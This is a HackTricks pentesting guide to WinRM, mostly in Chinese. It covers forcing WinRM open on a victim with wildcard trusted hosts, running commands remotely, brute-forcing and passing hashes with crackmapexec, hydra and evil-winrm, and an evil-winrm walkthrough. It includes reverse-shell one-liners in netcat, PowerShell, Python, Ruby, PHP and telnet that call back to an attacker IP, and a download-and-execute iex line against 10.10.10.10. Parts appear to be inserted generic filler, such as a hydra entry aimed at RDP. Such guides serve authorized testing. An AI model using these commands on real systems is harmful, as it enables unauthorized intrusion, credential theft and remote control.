hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2023-08-03 19:12:22 +00:00

21 KiB
Raw Blame History

5985,5986 - WinRM渗透测试

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof是所有加密漏洞赏金的家园。

无需延迟获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。

在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

WinRM

Windows远程管理WinRM是一种微软协议允许通过HTTP(S)使用SOAP远程管理Windows机器。在后端它使用WMI因此您可以将其视为基于HTTP的WMI API。

如果机器上启用了WinRM则可以轻松地从PowerShell远程管理该机器。实际上您可以像使用SSH一样进入机器上的远程PowerShell会话

检测WinRM是否可用的最简单方法是查看端口是否打开。WinRM将监听以下两个端口

  • 5985/tcpHTTP
  • 5986/tcpHTTPS

如果其中一个端口打开表示已配置WinRM您可以尝试进入远程会话。

启动WinRM会话

我们可以配置PowerShell与WinRM一起工作。根据Microsoft的文档Enable-PSRemoting是一个配置计算机以接收PowerShell远程命令的cmdlet。如果我们可以在受害者上访问提升的PowerShell提示符我们可以启用它并将任何"攻击者"添加为受信任的主机。我们可以运行以下两个命令:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

这将在trustedhosts设置中添加通配符。请注意其中的含义。注意我还必须将攻击机器上的网络类型从“公共”更改为“工作”网络。

您还可以使用wmic远程激活WinRM。

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

测试是否已配置

一旦攻击机器已配置好,使用Test-WSMan函数来测试目标是否已配置为WinRM。您应该会看到一些关于协议版本和wsmid的返回信息

在这个例子中,第一个已经配置好了,而第二个没有。

执行命令

现在我们可以使用PowerShell的Invoke-Command在目标上通过WinRM远程执行命令。要远程运行ipconfig并查看输出:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

您还可以通过Invoke-Command在当前的PS控制台中执行命令。假设您在本地有一个名为enumeration的函数,并且您想在远程计算机上执行它,您可以这样做:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

执行脚本

To execute a script on a target machine through WinRM, you can use the Invoke-Command cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote computers.

Invoke-Command -ComputerName <target> -ScriptBlock {<script>}

Replace <target> with the IP address or hostname of the target machine, and <script> with the script you want to execute.

For example, to execute a PowerShell script named script.ps1 on a target machine with the IP address 192.168.1.100, you would use the following command:

Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {C:\path\to\script.ps1}

Make sure to provide the correct path to the script on the target machine.

Note that you may need to authenticate with valid credentials to execute the script successfully.

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

获取反向Shell

To get a reverse shell, you can use the following methods:

Method 1: Netcat

  1. Start a listener on your machine: nc -lvp <port>.
  2. Execute the following command on the target machine: nc <your_ip> <port> -e /bin/bash.

Method 2: PowerShell

  1. Start a listener on your machine: nc -lvp <port>.
  2. Execute the following command on the target machine: powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<your_ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()".

Method 3: Python

  1. Start a listener on your machine: nc -lvp <port>.
  2. Execute the following command on the target machine: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'.

Method 4: Ruby

  1. Start a listener on your machine: nc -lvp <port>.
  2. Execute the following command on the target machine: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<your_ip>",<port>);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'.

Method 5: PHP

  1. Start a listener on your machine: nc -lvp <port>.
  2. Execute the following command on the target machine: php -r '$sock=fsockopen("<your_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'.

Method 6: Telnet

  1. Start a listener on your machine: nc -lvp <port>.
  2. Execute the following command on the target machine: telnet <your_ip> <port> | /bin/bash | telnet <your_ip> <port>.

Remember to replace <your_ip> with your machine's IP address and <port> with the desired port number.

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

获取一个PS会话

或者如果你想直接进入一个交互式的PowerShell会话可以使用Enter-PSSession函数:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

会话将在“受害者”内的新进程wsmprovhost中运行

强制打开WinRM

如果您真的想使用PS Remoting和WinRM但目标没有配置它您可以通过一个命令来“强制”打开它。我不建议这样做但如果您真的想使用WinRM或PSRemoting那么可以这样做。例如使用PSExec

PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

现在我们可以在受害者上进入远程PS会话。

保存和恢复会话

如果远程计算机的语言受限,则此方法无法正常工作

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

在这个会话中您可以使用_Invoke-Command_加载PS脚本。

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

错误

如果你遇到以下错误:

enter-pssession : 连接到远程服务器 10.10.10.175 失败错误信息如下WinRM 客户端无法处理请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输或将目标机器添加到 TrustedHosts 配置设置中。使用 winrm.cmd 来配置 TrustedHosts。请注意TrustedHosts 列表中的计算机可能未经过身份验证。你可以通过运行以下命令获取更多信息winrm help config。有关更多信息请参阅 about_Remote_Troubleshooting 帮助主题。

在客户端尝试以下操作(参考这里

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

HackenProof 是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。

在 web3 渗透测试中积累经验
区块链协议和智能合约是新的互联网!在其兴起的时代掌握 web3 安全。

成为 web3 黑客传奇
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。

在 HackenProof 上注册 开始从您的黑客攻击中赚取收入!

{% embed url="https://hackenproof.com/register" %}

在 Linux 中进行 WinRM 连接

暴力破解

请注意,暴力破解 WinRM 可能会阻止用户。

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

使用 evil-winrm

Evil-winrm 是一款用于在 Windows 远程管理服务WinRM上进行渗透测试的工具。它提供了一个简单而强大的方式来与目标系统进行交互并执行各种攻击操作。

安装 evil-winrm

要安装 evil-winrm可以使用 Ruby 的包管理器 gem 进行安装。在命令行中运行以下命令:

gem install evil-winrm

连接到目标系统

使用 evil-winrm 连接到目标系统非常简单。在命令行中运行以下命令:

evil-winrm -i <目标 IP> -u <用户名> -p <密码>

替换 <目标 IP><用户名><密码> 为实际的目标系统 IP 地址、用户名和密码。

执行命令

连接成功后,您可以在 evil-winrm 提供的交互式命令行中执行各种命令。例如,要列出目标系统上的用户,可以运行以下命令:

shell whoami

上传和下载文件

使用 evil-winrm您还可以上传和下载文件到目标系统。要上传文件可以使用以下命令

upload <本地文件路径> <目标文件路径>

要下载文件,可以使用以下命令:

download <目标文件路径> <本地文件路径>

替换 <本地文件路径><目标文件路径> 为实际的本地文件路径和目标文件路径。

退出连接

要退出 evil-winrm 连接,可以在命令行中运行以下命令:

exit

这将关闭与目标系统的连接。

注意事项

在使用 evil-winrm 进行渗透测试时,请务必遵守法律和道德规范。仅在获得合法授权的情况下使用该工具,并且仅限于合法的渗透测试活动。

gem install evil-winrm

阅读其github上的文档https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

要使用evil-winrm连接到一个IPv6地址在/etc/hosts中创建一个条目将一个域名设置为该IPv6地址并连接到该域名。

使用evil-winrm传递哈希值

evil-winrm -u <username> -H <Hash> -i <IP>

使用PS-docker机器

PS-docker是一种利用Docker容器来执行PowerShell脚本的技术。通过使用PS-docker机器我们可以在目标系统上执行PowerShell命令以便进行渗透测试和攻击。

要使用PS-docker机器我们需要先安装Docker并确保Docker服务正在运行。然后我们可以使用以下命令创建一个PS-docker机器

docker run -it --rm mcr.microsoft.com/powershell

这将下载并运行一个包含PowerShell的Docker容器。一旦容器启动我们就可以在容器中执行PowerShell命令。

要连接到目标系统的WinRM服务我们可以使用以下命令

Enter-PSSession -ComputerName <target_ip> -Port <winrm_port> -Credential <credentials>

其中,<target_ip>是目标系统的IP地址<winrm_port>是WinRM服务的端口号<credentials>是用于身份验证的凭据。

一旦连接成功我们就可以在目标系统上执行各种PowerShell命令包括执行远程代码、查找敏感信息等。

请注意使用PS-docker机器需要具有适当的权限和授权且仅限于合法的渗透测试和授权活动。

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

使用Ruby脚本

从这里提取的代码:https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

参考资料

HackTricks 自动命令

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网在其兴起的时代掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。

在HackenProof上注册 开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥